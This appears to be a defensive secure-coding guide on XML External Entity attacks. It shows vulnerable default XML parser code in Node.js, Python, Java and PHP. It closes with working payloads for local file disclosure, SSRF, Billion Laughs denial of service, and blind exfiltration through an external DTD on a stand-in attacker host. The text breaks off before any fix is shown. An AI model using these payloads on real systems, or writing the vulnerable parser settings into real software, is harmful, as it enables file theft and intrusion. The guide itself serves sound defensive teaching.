xxe-prevention

XXE Prevention (OWASP A04)

Prevent XML External Entity attacks by safely configuring XML parsers and validating XML input.

When to Use

• Parsing user-supplied XML
• Processing SOAP/WSDL services
• Handling SVG file uploads
• Working with Office documents (DOCX, XLSX)
• Implementing XML-based APIs
• Processing RSS/Atom feeds

Attack Types

Attack	Impact	Description
File Disclosure	HIGH	Read local files (/etc/passwd)
SSRF	HIGH	Access internal services
DoS (Billion Laughs)	HIGH	Memory exhaustion
Port Scanning	MEDIUM	Probe internal network
Remote Code Execution	CRITICAL	In rare configurations

Vulnerable Code Patterns

Node.js

// VULNERABLE - Default XML parser settings
const xml2js = require('xml2js');
const parser = new xml2js.Parser();
parser.parseString(userXml, callback);

// VULNERABLE - libxmljs with default options
const libxmljs = require('libxmljs');
const doc = libxmljs.parseXml(userXml);

Python

# VULNERABLE - etree with default settings
from xml.etree import ElementTree
tree = ElementTree.parse(user_xml_file)

# VULNERABLE - lxml without disabling entities
from lxml import etree
doc = etree.parse(user_xml_file)

Java

// VULNERABLE - Default DocumentBuilder
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(userXmlInput);

// VULNERABLE - Default SAX parser
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(userXmlInput, handler);

PHP

// VULNERABLE - simplexml_load_string with default
$xml = simplexml_load_string($userXml);

// VULNERABLE - DOMDocument with default
$doc = new DOMDocument();
$doc->loadXML($userXml);

XXE Attack Payloads

<!-- File disclosure -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

<!-- SSRF - Access internal service -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
<data>&xxe;</data>

<!-- Billion Laughs (DoS) -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>

<!-- Blind XXE with out-of-band data exfiltration -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<data>test</data>